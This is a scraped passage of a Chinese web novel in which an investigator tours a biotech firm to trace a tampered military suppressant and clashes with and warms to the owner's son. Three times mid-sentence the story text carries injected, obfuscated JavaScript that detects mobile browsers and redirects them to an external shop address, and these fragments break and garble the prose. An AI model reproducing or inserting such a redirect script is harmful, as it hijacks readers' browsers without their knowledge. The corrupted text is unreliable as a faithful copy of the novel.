恍惚间,坎利亚战场的硝烟和风沙仿佛穿透时空,与顾凛序散发的薄荷信息素缠绕在一起。那气息不再冰冷,反而灼烧着晏昭野的理智。 ……真他妈要命。 晏昭野在心底骂了一句脏话。 他想起今早指尖险些触碰到的肌肤,当时只道是转瞬即逝的遗憾。 现在他却疯狂想知道,当这朵淬炼着钢铁锋芒的高岭之花在他身下绽放时,会不会露出比坎利亚月色更动人的神情。 想要看他冷静自持的表情出现裂痕;想要那双向来清明锐利的眼睛为自己失神;想要让这柄为联邦出鞘的军刀,唯独在他面前收敛所有锋芒。 这个念头如野火般燎过晏昭野的四肢百骸。 狼崽子的尾巴要藏不住了。 8. 抱头鼠窜E “这么厉害?”晏昭野这次的声音里没了调侃,唯有纯粹的叹服。 “没什么,”顾凛序鼓励道,“你作为Enigma,天赋上限更高,只要肯下功夫,破掉我的记录也不是不可能。” “那我可得努力努力了,”晏昭野笑道,“顾调查官,我刚才在走廊没说完的话是,只要张局同意,我回头就跟我爸争取,一定堂堂正正加入特调局。” 顾凛序想起刚才那通电话里,晏川柏最后那句意味深长的嘱托:“晏少爷,我觉得你或许不需要争取令尊的同意。” 晏昭野没听明白他的话:“……嗯?” “你没发现吗?”顾凛序示意他看车窗外,大楼上的穹星生物logo很是醒目,“从今天早上归还手机到现在,晏董事长始终没有联系过你。” 晏昭野:“……” 咦? 对啊,他把这一茬忘了。 是了,自己在特调局被眼前这朵高岭之花迷得晕头转向,把亲爱的老爸给忘了。 但是亲爱的老爸怎么不给他打电话关心他呢? 顾凛序见他瞳孔地震的模样,唇角掠过极淡的笑意:“下车吧,到了。” 晏昭野不是很想下车:“……” 他隐隐意识到接下来发生的事情不简单。 果然,四个人刚踏进穹星生物的旋转门,就听见晏川柏中气十足的咆哮声: “你个臭小子还敢给我回来!” 话音未落,一只锃亮的皮鞋凌空朝着晏昭野飞来。 晏昭野闪身极快,皮鞋“哐当”一声砸在了前台小姐旁边的发财树上,吓得她手里的文件撒了一地。 晏川柏指着晏昭野的鼻子,恶骂道:“老子供你吃,供你穿,是让你去特调局拆家的吗?!那椅子招你惹你了?啊?!” “爸!爸!冷静!这里是一楼大厅!有监控!有好多外人!形象!我们穹星生物的形象啊!”晏昭野吓得抱头鼠窜。 “有外人怎么了?老子今天就要大义灭亲!”晏川柏气疯了,见一击不中,又脱下另一只皮鞋。 “去年喝酒闹事,今年拆特调局椅子!明年你是不是要上天炸月球?!老子当年还是个新兵蛋子的时候,在边境侦察连,子弹擦着耳边飞都没你这么能闯祸!” 前台小姐吓得花容失色,捡起文件小声劝道:“董事长,别打啦!大厅有监控,还有特调局的贵客,这么多人看着呢。” “监控?有监控好啊,那就让大家都看看!看看我们晏家出了个什么混世魔王!”晏川柏根本不听,第二只皮鞋又扔了出去,“今天不把他打死,老子就不姓晏!” 晏昭野的叔叔晏伯山火急火燎地从电梯里冲出来:“大哥!大哥息怒啊!孩子还小,不懂事!咱回家说,回家打行不行?” “小?二十五了还小?我就是以前打得太少!”晏川柏挣扎着,眼看就要挣脱。 “我上辈子造了什么孽,老天爷给我扔下这么一个讨债鬼!慈父多败儿!伯山,你放开!我今天非要让他知道阎王爷有几只眼!” “啊啊啊!杀人了!救命啊!我不要见阎王爷啊!”晏昭野“嗷”地一嗓子,一把抱住了正在努力降低存在感的顾凛序的腰,将整个脑袋都埋在对方的制服后背上。 “顾调查官救命啊!我要被我爸打死了啊!你不能不管啊!”他喊得凄惨,手臂箍得死紧,掌心能清晰地感受到制服布料下紧实的腰线。 隔着几层衣料,那温热和隐约的肌肉轮廓让他心头一跳,偷偷又收紧了手臂。 不错,老爸的这顿骂没白挨,也算是把早上的遗憾补回来了。 顾凛序:“……” 他强忍住把身后人过肩摔的冲动:“你先放手。” “撒手!晏昭野!你放开顾队!”李俊义和李俊荣脸色大变,冲上来就想把他扒开。 “我不放!放开我就没命了!”晏昭野躲在顾凛序身后叫唤。 整个大厅乱作一团。晏川柏被晏伯山拦着,还在试图挣脱去揍儿子;李俊义和李俊荣一左一右,想把人从顾凛序身上扒下来;前台小姐抱着文件不知所措;几个保安站在旁边想劝,却又碍于晏川柏和晏昭野的身份不敢上前。 在这片混乱中,晏昭野趁机将鼻尖凑近顾凛序后颈的腺体处,深深吸了一口气。 浓郁的薄荷信息素包裹住他。 真奇怪,明明薄荷该是清凉的,可顾凛序的薄荷味不会让他感觉冷静。 反而像是……像是烈酒入喉,一股热意从胸腔炸开,直冲头顶,让他整个人都晕乎乎的,恨不得在对方的腺体处咬上一口。 为什么呢?晏昭野百思不得其解。 他觉得自己的信息素可能是假的威士忌,否则为什么自己的信息素没有这种烈酒入喉的感觉? 顾凛序本不愿掺和晏家的家事,却没料到自己站在旁边还能被波及,不得已出来劝架: “晏董事长,请先息怒。令郎昨晚的行为虽然欠妥,但客观上也帮助我们发现特调局审讯室安保设备的潜在漏洞。” 兴许是顾凛序的气质和身份地位摆在这里,他只需要短短两句话,就能让这个鸡飞狗跳的场面按下暂停键。以至于“帮助特调局发现潜在漏洞”这么无厘头的理由冒出来,在场愣是没有一个人被逗笑。 晏川柏挥到半空的手臂放了下来,重重哼了一声,总算找回了些许商业巨擘的风度。晏伯山松了口气,李俊义和李俊荣也停止了扒拉人的动作,只是眼神还警惕地盯着晏昭野。 全场唯一没动的就是晏昭野。他还抱着顾凛序的腰,从对方肩膀后探出半个脑袋,顺着他老爹刚刚缓和的神色蹬鼻子上脸: “对啊!爸!我真是去帮他们做设备压力测试的!用心良苦啊!” 顾凛序无视了身后这块牛皮糖,同晏川柏说:“晏董事长,今天我们来主要是想查看电子签名系统的后台记录,以及相关区域的安防情况。我刚才在电话里已经初步和您沟通了。” 晏川柏整理了一下略显凌乱的西装,脸上恢复平日里的持重:“当然,顾调查官,我明白。我这边安排了专人陪同,各部门都会全力配合您的调查。” 他转头瞪了晏昭野一眼:“死小子你还不给我松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996126|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手!” 顾凛序也说了一句:“放手吧。” 晏昭野这才悻悻然地松开了手臂,指尖还留恋地蹭过顾凛序的制服后腰。 一位穿着职业套装、气质干练的女性快步走来,微笑着自我介绍:“顾调查官,各位好,我是董事长的行政秘书华兴珠。” “接下来由我陪同各位前往我们的核心研发区域,包括原料库房以及军用抑制剂生产线,请随我来。” 她走在前面为顾凛序等人引路:“我们首先前往的是A区核心研发中心,这里主要负责新型抑制剂的分子结构设计与活性测试。所有配方都在这里的超净实验室完成初步研发。” 穿过数道气密门后,眼前出现布满精密仪器的流水线。 “这里是S级军用抑制剂生产区,”华兴珠指向透明隔离墙后的全自动生产线,“从原料合成、灌装到最后的密封包装,每条生产线每小时可产出三百支符合联邦最高标准的抑制剂。” 军用抑制剂的生产对纯度、稳定性、起效速度和副作用控制的要求都极为严苛。毫不夸张地说,在联邦境内,穹星生物在这个领域若是自称第二,无人敢称第一。 所以穹星生物不仅是特调局的长期合作伙伴,联邦军方的订单也占据了他们产量的很大比重,包括一些政界要员所需的抑制剂,也会经由特许渠道从他们这里采购。 正因如此,穹星生物虽然本质上是晏家控股的家族企业,但其地位远非普通商业公司可比,它深度嵌入联邦的安全与稳定体系,牵一发而动全身。 然而地位越高,责任和压力也越大。尤其在当前国际环境下,各国在军事装备,包括生物科技领域的竞争日益激烈。 军用抑制剂作为维持特殊战力人员状态的关键物资,其更新迭代的速度直接关系到国家安全优势。 穹星生物看似风光,实则背后承受着巨大的研发压力,一刻也不敢松懈,否则随时可能被其他国家或是生物技术的企业超越。 这也是晏川柏逼着晏昭野学习生物技术相关专业的原因。如果晏昭野没有真本事,他也不可能放心把军用抑制剂和静默剂中和剂的项目交给儿子。 最后,他们来到一扇厚重的合金门前。 “这里是特殊原料库房,”华兴珠在门禁系统前停步,“由于库内存放着多种高活性原料,需要严格控温控湿,所有进入者都必须穿戴全套防护服。” 她向旁边的工作人员打好招呼,为自己和顾凛序他们准备防护服:“这是特制的防静电隔离服,自带供氧系统,面罩采用全封闭设计。请各位更衣后接受风淋消毒。” 众人穿戴整齐,经过360度风淋消毒,华兴珠在库房门禁屏上流畅地签下电子签名。 合金门缓缓开启,顾凛序突然开口:“进门前必须使用电子签名验证?” “是的,”华兴珠向他展示签字的地方,“穿着防护服无法进行人脸识别和指纹验证,电子签名是进入原料库房的唯一通行方式。” 顾凛序抓住盲点:“也就是说,只要掌握了某个人的电子签名,即便不是本人也能进入?” 9. 无比坦诚A 华兴珠一愣,随即严谨地说:“理论上的确不排除这种情况。” “不过这道合金门外原本还设有人脸和指纹双重验证程序,只是今天为了方便各位参观才临时关闭,所以仅仅掌握电子签名是不够的,假冒身份还是不太可能。” 既然顾凛序问了,她索性吩咐工作人员重新将双重验证程序打开,并亲身示范进入原料库房的完整流程。 顾凛序看完全程,承认假冒身份的概率很低。 “当然,昭野,我没有怀疑你的意思,只是陈述事实。”华兴珠事先从晏川柏那里了解到部分情况。 晏昭野神色坦然:“华姐,我明白,你只管照实说便是。” 顾凛序又问:“静默剂是什么时候被调取的,有监控吗?” 华兴珠给他指出几个监控的位置:“有的,等我们从这里出去,卸下防护装备后,我便带各位去监控室调取。” 一行人随后进入原料库房内部进行勘察。库房内温度极低,存放着各种特殊原料。 经过清点确认,静默剂存在缺失的情况,并且尚未补充。但内部环境一目了然,顾凛序并未发现更多有用的线索。 离开原料库房后,他们直奔监控室,调取了相关的电子签名记录和对应时间段的监控录像。 华兴珠调出合金门内的系统记录,上面显示从今年到现在,晏昭野总共进入原料库房三次,分别是2月28日、4月3日、5月16日。 5月16日就是晏昭野所说的、有人拿他的电子签名进入原料库房那次,同时五月末也是顾凛序所使用的这批军用抑制剂的结束阶段。 如果晏昭野没说谎,那么在这批抑制剂即将收尾的时候,有人冒充晏昭野拿了静默剂,将其加入顾凛序的抑制剂里。 顾凛序的目光在屏幕上的三段监控录像之间来回扫视。 尽管尚没有进行专业的技术分析,尽管穿的都是看不清人脸的防护服,但他能粗略判断,这三次出现在原料库房门口的身影,无论是走路的姿态、签名的速度,都像是同一个人——晏昭野。 顾凛序吩咐李俊义:“将这三段视频,尤其是五月十六日这份,备份带回去,交给技术科做专业分析,一帧都不要放过。” 李俊义:“是,顾队。” 顾凛序转而看向华兴珠:“原料库房内部没有任何监控探头?” 华兴珠摇头:“内部环境是超低温恒温,常规监控设备无法长时间稳定工作,所以没有装设。” 顾凛序只好问:“除了合金门内这个拍摄穿防护服的角度,合金门的外面还有其他监控吗?比如在瞳孔和指纹扫描仪附近,能够看清楚人脸的?” 华兴珠答:“有的。门禁系统上方还有一个朝向验证区域的摄像头。” “不过那个监控系统和我们刚才调取的不是一套,数据分离存储,调取需要一些时间。我们今天会尽快提交申请,一旦有了结果立刻通知您。” “好,有劳了,”顾凛序又问眉头紧锁的晏昭野,“五月十六日的记录你怎么解释?” “我根本不知道这个我是从哪儿冒出来的,”晏昭野指着定格的画面,“是,看着是像我,走路像,签字也像,但我那天没来过原料库房。” 顾凛序:“你坚持五月十六日不在现场,那当天你在哪里?有没有人可以作证?” 晏昭野抓了抓头发,一脸苦恼:“这都过去一个多月了,又不是什么朋友生日之类的特殊日子,我实在想不起来了。可能就是在家睡觉,或者出去闲逛?” 顾凛序没有强求他给个答案:“没事,特调局会查清楚的。” “特调局连这个都能查到?”晏昭野惊讶地问。 “在特调局面前没有隐形的行踪,”李俊荣语气带着自豪,“你的手机信号基站记录、电子支付流水、交通卡使用记录,甚至沿途的治安监控,都是我们的线索。” “厉害,”晏昭野由衷赞叹,随即小声嘀咕道,“这要是拿去查出轨,一查一个准。” 顾凛序没理会他的嘀咕,问华兴珠道:“我还需要了解在穹星生物内部,哪些人有可能接触到晏昭野的电子签名?” “很多人都能接触到,”华兴珠略作思考,“昭野目前在穹星生物主要负责两个项目:一个是军用抑制剂的质量把控,另一个是前一阵子新立项的静默剂中和剂研发。” “这两个项目的日常审批、物料申领等很多地方都需要他的电子签名,所以想掌握他的电子签名并不难。” 顾凛序:“那能提供穹星生物的全体在职成员名单吗?越详细越好。” 华兴珠点头:“好的,我马上安排人整理。” “如果能详细一些更好,除了基本信息之外,”顾凛序补充道,“请加上他们的入职时间、在项目中的具体职责、与晏昭野的工作往来频率等方面。方便的话,希望连个人情感状况、家庭背景、亲属关系也一并提供。” 华兴珠意外于他会要求这么细致,但还是爽快应下:“可以,不过这些信息涉及个人隐私,我需要协调人事部门一起整理,可能需要一些时间,但我们尽快。” 顾凛序礼貌道谢:“好,有劳了。” “您太客气了,”华兴珠笑容得体,“顾调查官还有其他需要了解的吗?” 顾凛序先是安排李俊荣和李俊义着手追查晏昭野5月16日的详细行踪,随后转向华兴珠,语气稍缓: “公事暂时就是这些。我个人对贵司新启动的静默剂中和剂项目很感兴趣,不知是否方便简单介绍一下?” 华兴珠正要开口,晏昭野却一个箭步插到两人中间:“为什么不问我?明明我才是这个项目的负责人。” 顾凛序:“……” 说实话,他觉得晏昭野不太靠谱,但眼下毕竟在穹星生物,身处于人家的地盘,这种内心话说出来未免太伤人了。 华兴珠目光在晏昭野身上一转,立即了然于心:“顾调查官,这个项目是昭野全权负责,他最熟悉具体情况。正好晏董事长那边还有个临时会议需要我过去一趟,不如就让昭野为您详细介绍吧?” “好。”顾凛序也不好再说什么了。 华兴珠微笑着离开,走廊里只剩下顾凛序和晏昭野两人。 顾凛序率先打破沉默:“静默剂中和剂的研发实验室在哪里?你带我去看看吧。” 晏昭野靠在墙边一动不动,浑身上下都写着“我不高兴”:“你还没回答我呢。为什么不问我?我才是项目负责人。” 顾凛序和他讲道理:“现在的结果不都一样吗?由你带我去。” “哪里一样了,”晏昭野的语气执拗,“这是我自己争取来的,不然就是华姐带你去了,不是我。” 他和这个问题杠上了,非要问出个所以然来:“所以你为什么不问我?” 顾凛序没有说话,因为他一时搜刮不出一个既得体又不违心的理由。 晏昭野往前凑近一步,带着点被刺痛似的委屈:“顾调查官,你是不是觉得我特别不靠谱?所以宁可问别人也不问我?” 他自认都示弱到这个份上了,按常理怎么也该换来对方几句软话吧? 可他见顾凛序在短暂的沉默后,给出了一个无比坦诚的回答: “确实有点。” 晏昭野:“……” 他被气笑了,揉了揉自己的额角。 好,真好。 不愧是他看上的人,连句软话都不愿给。 顾凛序原本见他语气受伤,在说出那个“确实有点”后,是准备找补几句的。但此刻见晏昭野笑了起来,似乎并未真的动怒,便也放松下来,与他一同靠在墙壁上。 “诚然,其实鉴于你之前的一些行为,”顾凛序的语气平和,“我对你的初始印象偏向于不太可靠。” 晏昭野脸上的笑意收敛。 他的头微微低着,额前碎发投下小片阴影:“那你对我的印象除了不靠谱之外,还有没有别的?” “什么?”顾凛序没跟上他的思路。 “比如……你是不是很讨厌我?”晏昭野不敢与他对视。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996127|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾凛序:“为什么会这么想?” “因为去年那段录音,”晏昭野声音闷闷的,“你到现在也没有回应过我的道歉视频。” “那段时间我正在忙一个跨国案子,压根不在国内。等忙完回来事情已经过去很久了,我再回应反而很奇怪,”顾凛序顿了顿,“但我看过你的视频,你知道我看完后的想法是什么吗?” 晏昭野:“你先告诉我是好话还是不好的话。不好的我就不听了。” 顾凛序:“是好的。” “那你说吧。”晏昭野稍稍放松下来。 顾凛序回忆起当时的情景:“那是我第一次看见你,之前只是听说晏董事长有个儿子是Enigma,一直在国外留学。我当时看完就觉得,你这样的资质不进特调局实在可惜。” 晏昭野:“可惜?” “嗯,”顾凛序的视线扫过他挺拔的身形,“我还是那句话,Enigma的先天优势很明显,爆发力、耐力都远超常人。即便你过去从未经过专业的训练,但你很年轻,现在开始也不晚。” 他的语气带着惜才的诚恳:“晏昭野,特调局需要你这样的人才。与其当个只会花钱的公子哥,不如来做些更有意义的事。” 晏昭野挑眉:“顾调查官,你这是在劝我改邪归正吗?” 或许“改邪归正”这个成语放在这里不太准确,但他暂时找不到更贴切的词语来替换它。 “是希望你走上更适合你的路,”顾凛序纠正道,“但我更希望看到你凭借自己的本事和能力进入特调局,而不是依靠其他任何东西。” 虽然刚才在车上,晏昭野也承诺要“堂堂正正考进来”,但顾凛序拿不准他的承诺到底有多重。 他希望眼前这人能真正从心底生出对联邦和特调局的敬畏与热爱,而不是公子哥一时兴起的三分钟热度。 顾凛序:“如果你是真心想加入特调局,我可以出面帮你做你父亲的工作。” 晏昭野却拒绝了:“不用。自己的路自己闯,我爸那边我自己去说。” 顾凛序:“那也可以。” 晏昭野向前倾身,做了个“请”的手势,眼底掠过一抹清亮笑意: “那么现在,能给我个机会改变我在你眼里的印象吗,顾调查官?我带你参观静默剂中和剂的实验室。” 那笑意并非他平日里那种漫不经心的懒散,也非玩世不恭的嬉闹,而是真切地从他眼底漾开。 顾凛序注视了他两秒,随后抬手搭在晏昭野伸出的掌心之上: “好。” 晏昭野精神抖擞地在前面引路。穿过几条洁净的走廊,他带着顾凛序来到一个标着“特殊项目研发中心”的区域。 进入实验室,晏昭野操作控制面板调出数据,指着屏幕上复杂的分子结构图讲解: “静默剂之所以难缠,在于它能伪装成信息素受体的天然配体,长期占据结合位点,导致外源性抑制剂失效。我们中和剂的思路不是强行清除它,而是设计了一种更聪明的‘竞争者’。” 他切换到动态模拟图:“看,这个新分子能更精准、更牢固地绑定静默剂,形成稳定复合物。这个过程本身会向身体发送一个‘危险已解除’的错误信号,促使代谢系统启动,将它们一起自然排出体外。” 一番通俗易懂的介绍下来,顾凛序不由得对晏昭野刮目相看。 他必须承认自己先前的判断有失偏颇。眼前这个被自己归入“纨绔”范畴的青年,展现出的专业素养远超预期。 虽然他在生物科技这方面是外行,但也能看出晏昭野绝非凭借家族背景混学历的样子货,言语间皆是实打实沉淀下来的真本事。 顾凛序看着屏幕上滚动的复杂数据:“你在这个项目上确实花了很大心血。” 晏昭野骄傲地说:“那必然。” 顾凛序在实验台间缓步查看,晏昭野跟在他身后,见状询问:“你是在找什么吗?” “为什么你这些样品抑制剂都没有那个太阳标识?”顾凛序停下脚步。 10. 与人打赌E 晏昭野:“太阳标识?” “就是那天晚上你给我的那支抑制剂,”顾凛序提醒,“尾端刻着一个太阳图案,像希腊神话的风格。” “啊……那个啊,”晏昭野眼睛滴溜溜一转,“那个是要送去进行活体测试的特殊样品,包装和这些普通研发样品不一样。” 顾凛序:“那个太阳标识有什么特殊含义?为什么刻在抑制剂上?” 在他看来,抑制剂这种一次性注射使用的医疗物品,没必要在外包装上如此费心。 “那是我为这个项目设计的专属标识,好看吧?”晏昭野笑道,“等这款抑制剂正式面市,所有产品都会印上这个logo。” 顾凛序:“预计什么时候能上市?” 晏昭野无法给出确切日期:“快的话是今年冬天,慢的话就不一定了,我也说不准。在这之前,你易感期就先用我给你准备的样品吧。虽然不是最终成品,但效果绝对有保障。” 他目光灼灼地望进顾凛序眼里:“顾调查官,你信不信我吧。” 顾凛序对上他的视线:“我信你。” “那就好。”晏昭野笑着直起身。 顾凛序转回身继续参观实验设备,因此没有看见,在他身后,晏昭野脸上露出计划得逞的微笑。 离开实验区域,晏昭野和顾凛序并肩走在穹星生物明亮的大厅里。 晏昭野侧头问道:“接下来还有什么安排吗?” “主要就是等俊义他们核实你五月十六日的行踪,”顾凛序看了眼时间,“也不知道他们什么时候能出结果,先回特调局吧。” 这时,华兴珠快步迎了上来:“顾调查官,快到午饭时间了,不如在我们这里吃顿饭再走?也不去别的地方,就在食堂吃顿便饭,简单快捷,符合规定,不用担心外界会有不必要的议论。” “不必麻烦了,”顾凛序婉拒道,“今天我多有打扰,就不继续叨扰了。” “那不知顾调查官能否再赏脸喝杯茶?”华兴珠发出邀请,“晏董事长想和您简单聊几句,不会占用您太多时间。” “好。”顾凛序不知道晏川柏特意找他有什么事。 “这边请。”华兴珠笑道。 顾凛序走了两步,发现晏昭野还站在原地,没有跟上来的意思:“你不一起去吗?” 晏昭野单手插在裤袋里:“不了。我爸只说找你,又没点我的名。我这时候凑上去不是自找骂挨吗?” “行,那你在楼下等一会。”顾凛序也没再多说,自己去了晏川柏的办公室。 “顾调查官,快请坐,”晏川柏引着顾凛序在会客区的沙发落座,亲自斟了一杯茶递过去,“今天参观下来感觉如何?我们穹星这些设施还入得了你的眼吧?” “晏董事长过谦了,”顾凛序双手接过茶杯,礼节性地说,“穹星生物作为行业翘楚,研发实力和设备水平都令人印象深刻,不愧是联邦生物科技的标杆。” “顾调查官谬赞了,”晏川柏语气转为真诚的钦佩,“比起穹星这点微末成就,顾调查官才是真正的联邦脊梁,‘联邦之盾’这个称号当之无愧。” 寒暄过后,顾凛序放下茶杯,切入正题:“晏董事长找我过来,是有什么事情要谈?” “顾调查官,我在商场打滚半辈子,学惯了虚与委蛇。但今天找你过来,就是想抛开那些场面话,为我那个不成器的儿子讨个情面。” 晏川柏脸上的客套神色褪去,取而代之的是属于一个父亲的忧虑。 “这些年我光顾着撑起穹星生物这座大厦,到底还是把他惯坏了。去年那场闹剧,今朝这桩麻烦,桩桩件件都是他自作自受,该罚。” “可是顾调查官,”晏川柏的话音转沉,“就算他把天捅出个窟窿,有件事我敢用这条老命担保,昭野绝对不会在军用抑制剂里动手脚。” “因为这不是私人恩怨的问题,而是政治立场的问题。你是联邦之盾,守护的是整个联邦的安全。且容我说句实在话,即便他真对你个人有什么想法,也绝不可能在关乎国本的事情上使绊子。” “我和他母亲早年都是在军营里摸爬滚打出来的。你可以说他荒唐,说他顽劣,但你若说他会对联邦存有二心……”晏川柏摇了摇头,指尖点向自己的心口,“绝不会。因为他骨子里淌着的是军人的血。” “我明白,”顾凛序郑重点头,“董事长您放心,我会揪出幕后黑手,还晏昭野的清白。” “我在此就多谢顾调查官了,”晏川柏沉吟片刻,“话又说回来,顾调查官,我能担保昭野这孩子绝非有意针对你。” “关于去年录音的事,其中具体缘由我不清楚,这孩子的性子确实是冲了些,口无遮拦,你如果觉得他冒犯,过后要如何管教,我绝不拦着,也该让他长长记性。” 顾凛序看着这位为儿子操碎了心的父亲,语气肯定地说:“管教谈不上,事实上通过今天的接触,尤其是在参观静默剂中和剂项目时,我能感觉到晏昭野在专业领域具备扎实的能力。他并非表面看上去那般不着调。” “唉,顾调查官你是不知,”晏川柏脸上带着“知子莫若父”的无奈,“那是我硬管着他,他才能正经两天。一旦我放松盯着,指不定又故态复萌。” “眼下我这把老骨头,怕是也快盯不住他了,”他的话锋一转,“顾调查官,Z国前两天那个关于军用抑制剂的重大新闻,您想必也听说了吧?” “听说了,”顾凛序神色一凛,“消息虽然被严格管控,但核心内容已确认,他们在抑制剂技术上取得了里程碑式的突破,新型抑制剂的效能和稳定性都提升了至少百分之三十。” “是啊,”晏川柏眉宇间染上深深的疲惫与紧迫感,“联邦生物安全司正准备紧急牵头组成秘密项目组。虽然项目组人员等具体信息尚不清楚,但我这边刚接到单向通知,接下来很长一段时间,我都要全身心扑在这个项目上,怕是连家都回不了几次。” “我是真怕到时候再也顾不上昭野这小子。孩子大了,精力旺盛,主意也正。我现在是打也打不过,骂他也多半是左耳进右耳出。我是真怕我一忙起来,他又回到老路上去,惹出更大的祸事。” 说到这里,晏川柏的目光中带上了一种近乎恳求的意味:“顾调查官,我知道这个请求可能有些冒昧,但思来想去,只有你能帮我管住他。我想让他进特调局,当你的下属。” “我觉得只有把他放在你的手下,让他亲眼见识什么是真正的责任、纪律与担当,在他走偏的时候能有人及时敲打他,我这心里才能踏实。” 进特调局? 顾凛序在心里感慨“好巧”,没想到晏川柏与自己的想法不谋而合。 他看着眼前这位为了儿子未来不惜放下身段的商业巨擘,保证道:“晏董事长,请您放心。如果晏昭野能凭借自身实力通过考核进入特调局,那我一定会负起教导和管束的责任,引导他走正路。” “有你这句话,我就放心了。”晏川柏眼里满是欣慰。 “我会让他考进特调局。不仅要他考进去,我还得逼他争口气,拿下明年特调局考试的榜首。让他知道这条路没有任何捷径可走,必须拿出十二分的真本事来。” *** 就在顾凛序与晏川柏在办公室深谈时,华兴珠悄然折返,在一楼大厅找到了晏昭野。 他正倚在前台边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996128|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和值班的小姑娘说笑着。小姑娘被他三言两语逗得咯咯直笑,分给他一个棒棒糖。 “谢了,”晏昭野撕开糖纸,将橙子味的棒棒糖含进嘴里,把刚才她说的话重复了一遍,“昨晚秦司长来过了?” 他口中的秦玉韬是联邦生物安全司的司长,职权覆盖全国生物技术研发的监管、战略储备调配,以及更广泛的联邦生物安全风险防控。 秦玉韬亲自莅临穹星生物,通常都意味着有紧要公务,每次都是直奔顶楼晏川柏的办公室。 “可不嘛,”前台小姑娘压低声音道,“估计就是因为前几天Z国那个抑制剂的新闻吧,联邦肯定要紧急应对了。” 晏昭野“嗯”了一声,棒棒糖在腮边顶出一个小鼓包:“老头子又要忙得不见人影了。” 华兴珠走了过来,对他使了个眼色:“昭野?借一步说话。” 晏昭野跟着她走到旁边的休息区:“华姐,怎么了?” 华兴珠上下打量他,嘴角噙着一抹了然的笑意:“你小子不过在特调局待了一晚上,怎么,把魂儿丢那边了?” 晏昭野摸了摸自己的脸:“有这么明显吗?” “小心思都快写在你脑门上了,”华兴珠轻笑,“我看不出来才怪呢。” 晏昭野困惑地问:“那为什么他没看出来?” 华兴珠像是听到了什么有趣的话:“哎哟我的小少爷,那可是联邦之盾顾凛序。他要是轻易被别人的心思影响,那才不正常。” 晏昭野“嘎嘣嘎嘣”咬碎了棒棒糖:“你说我如果把联邦之盾标记了会怎么样?” 华兴珠想也不想便说:“你如果真把顾调查官强制标记了,那可就不是几分钟的道歉视频能解决的了。” “往小了说,你会被联邦之盾针对,人家以后会利用职权,在你的事业生涯上处处使绊子;往大了说,你会被全体联邦公民声讨,臭名昭著,成为‘全联邦最讨厌的Enigma’。” 晏昭野加了一个条件:“那如果是联邦之盾自愿让我标记呢?” “打住,”华兴珠竖起手掌,“我不相信这个‘如果’。” 她无法想象顾凛序会自愿低头。 “怎么就不可能?”晏昭野不服气。 华兴珠直白地说:“昭野,强扭的瓜不甜。” “不是强扭,你不要以其他的意思理解,”晏昭野同她掰扯,“我说的就是字面意思的自愿,他心甘情愿接受我的标记。” 华兴珠把头摇得像拨浪鼓:“不信,我才不信。” “不如我们打个赌?”晏昭野兴致勃勃地问。 “赌什么?”华兴珠来了兴趣,“先说好不赌钱啊,我可没有晏少爷这样的家底。” “不赌钱,”晏昭野想了半天,“就赌一个人情吧。要是将来我让你办件事,只要不违法乱纪,只要你能做到,你就不能拒绝。反过来同样道理,要是我输了,我就欠你个人情。” 华兴珠觉得自己赢定了:“行。” “哼哼,你将来一定会后悔的。”晏昭野得意地晃了晃脑袋。 “昭野,这根本不可能,”华兴珠想劝醒他,“那是顾凛序,他这辈子不结婚都不奇怪。” “而且顾上将就这么一个宝贝儿子,即便顾凛序真要找伴侣,也该是门当户对的Omega吧,政治联姻或者是......” “顾凛序在坎利亚待了八个月。”晏昭野突然打断她。 华兴珠一时没反应过来:“什么?” “我说——”晏昭野站直身体,棒棒糖的塑料棍在他指间断成两截,“顾凛序在坎利亚的枪林弹雨里待了八个月,你们为什么没有一个人告诉我?” 11. 穿情侣装A 华兴珠脸上的笑意收敛。 她看着年轻Enigma绷紧的下颌线,慢半拍地意识到,晏昭野在生气。 由于晏昭野平日总与她嬉皮笑脸、插科打诨,以至于她都快忘了,对方那点玩世不恭不过是层糖衣,此刻糖衣融化,露出内里灼人的岩浆。 华兴珠张了张嘴,却一个字也说不出来。 晏昭野冷笑一声:“要不是那个双胞胎今天为了在我面前夸顾凛序,顺口说了出来,我可能一辈子都不会知道,他在坎利亚那个鬼地方待了整整八个月。” “你们当初是怎么跟我保证的?不是说六个月之内他一定能回来吗?结果呢?他中弹了,就在他本来可以回来,却选择留下的那三个月里。” 华兴珠没有辩解,只是安静地承受着他的怒火。 晏昭野深吸一口气,强迫自己将那几乎要冲破胸膛的怒意压下去。 他知道,自己对着华兴珠发火毫无意义,甚至对着任何人发火都无济于事。因为是顾凛序自己选择了留下来,那是顾凛序的决定,他本应该尊重才是。 可他依然很愤怒,只好将这股怒火烧向了自己。 